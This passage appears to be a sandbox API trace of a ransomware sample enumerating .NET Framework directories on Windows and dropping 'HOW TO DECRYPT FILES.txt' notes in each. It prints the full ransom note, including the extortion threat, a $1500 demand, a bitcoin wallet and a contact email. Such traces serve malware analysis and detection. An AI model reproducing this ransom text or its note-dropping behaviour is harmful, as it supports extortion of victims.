ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x18358, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.dll.mui", cAlternateFileName="MICROS~1.MUI")) returned 1 [0137.488] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll.mui") returned -1 [0137.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll.mui") returned -1 [0137.488] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll.mui") returned -1 [0137.488] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\*.*") returned="*.*" [0137.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.488] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.488] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.488] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0137.488] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0137.489] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0137.489] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0137.491] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.491] CloseHandle (hObject=0x90) returned 1 [0137.491] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="Microsoft.Windows.ApplicationServer.Applications.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\Microsoft.Windows.ApplicationServer.Applications.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\Microsoft.Windows.ApplicationServer.Applications.dll.mui" [0137.491] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f64f920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelEvents.dll.mui", cAlternateFileName="SERVIC~1.MUI")) returned 1 [0137.491] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelEvents.dll.mui") returned -1 [0137.492] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelEvents.dll.mui") returned -1 [0137.492] lstrcmpiA (lpString1="", lpString2="ServiceModelEvents.dll.mui") returned -1 [0137.492] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\Microsoft.Windows.ApplicationServer.Applications.dll.mui") returned="Microsoft.Windows.ApplicationServer.Applications.dll.mui" [0137.492] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.492] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.492] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.492] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0x20 [0137.492] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="ServiceModelEvents.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelEvents.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelEvents.dll.mui" [0137.492] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f675a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll.mui", cAlternateFileName="SERVIC~2.MUI")) returned 1 [0137.492] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0137.492] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0137.493] lstrcmpiA (lpString1="", lpString2="ServiceModelInstallRC.dll.mui") returned -1 [0137.493] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelEvents.dll.mui") returned="ServiceModelEvents.dll.mui" [0137.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.493] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.493] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.493] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0x20 [0137.493] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="ServiceModelInstallRC.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelInstallRC.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelInstallRC.dll.mui" [0137.493] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x60bbbf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb910, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelPerformanceCounters.dll.mui", cAlternateFileName="SERVIC~3.MUI")) returned 1 [0137.493] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelPerformanceCounters.dll.mui") returned -1 [0137.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelPerformanceCounters.dll.mui") returned -1 [0137.493] lstrcmpiA (lpString1="", lpString2="ServiceModelPerformanceCounters.dll.mui") returned -1 [0137.493] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelInstallRC.dll.mui") returned="ServiceModelInstallRC.dll.mui" [0137.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.494] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.494] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.494] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0x20 [0137.494] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="ServiceModelPerformanceCounters.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" [0137.494] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ServiceModelRegUI.dll.mui") returned -1 [0137.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ServiceModelRegUI.dll.mui") returned -1 [0137.494] lstrcmpiA (lpString1="", lpString2="ServiceModelRegUI.dll.mui") returned -1 [0137.494] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui") returned="ServiceModelPerformanceCounters.dll.mui" [0137.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.495] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.495] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.495] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0x20 [0137.495] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="ServiceModelRegUI.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelRegUI.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelRegUI.dll.mui" [0137.495] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WorkflowServiceHostPerformanceCounters.dll.mui") returned -1 [0137.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WorkflowServiceHostPerformanceCounters.dll.mui") returned -1 [0137.495] lstrcmpiA (lpString1="", lpString2="WorkflowServiceHostPerformanceCounters.dll.mui") returned -1 [0137.495] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\ServiceModelRegUI.dll.mui") returned="ServiceModelRegUI.dll.mui" [0137.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" [0137.495] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\") returned="" [0137.495] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" [0137.496] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\en-us\\how to decrypt files.txt")) returned 0x20 [0137.496] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\", lpString2="WorkflowServiceHostPerformanceCounters.dll.mui" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" [0137.505] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EventLogMessages.dll") returned -1 [0137.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EventLogMessages.dll") returned 1 [0137.505] lstrcmpiA (lpString1="", lpString2="EventLogMessages.dll") returned -1 [0137.505] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.506] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.506] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.506] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.506] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="EventLogMessages.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EventLogMessages.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EventLogMessages.dll" [0137.506] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.506] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FileTracker.dll") returned -1 [0137.506] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FileTracker.dll") returned 1 [0137.506] lstrcmpiA (lpString1="", lpString2="FileTracker.dll") returned -1 [0137.506] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EventLogMessages.dll") returned="EventLogMessages.dll" [0137.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.506] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.506] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.507] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.507] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="FileTracker.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\FileTracker.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\FileTracker.dll" [0137.507] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.507] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fusion.dll") returned -1 [0137.507] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fusion.dll") returned 1 [0137.507] lstrcmpiA (lpString1="", lpString2="fusion.dll") returned -1 [0137.507] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\FileTracker.dll") returned="FileTracker.dll" [0137.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.507] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.507] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.507] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.508] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="fusion.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll" [0137.508] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0137.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0137.508] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ilasm.exe") returned -1 [0137.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ilasm.exe") returned -1 [0137.508] lstrcmpiA (lpString1="", lpString2="ilasm.exe") returned -1 [0137.508] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll") returned="fusion.dll" [0137.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.508] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.508] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.509] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.509] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="ilasm.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe" [0137.509] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.509] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ilasm.exe.config") returned -1 [0137.509] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ilasm.exe.config") returned -1 [0137.509] lstrcmpiA (lpString1="", lpString2="ilasm.exe.config") returned -1 [0137.509] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe") returned="ilasm.exe" [0137.509] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.509] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.509] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.509] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.509] lstrcatA (in: 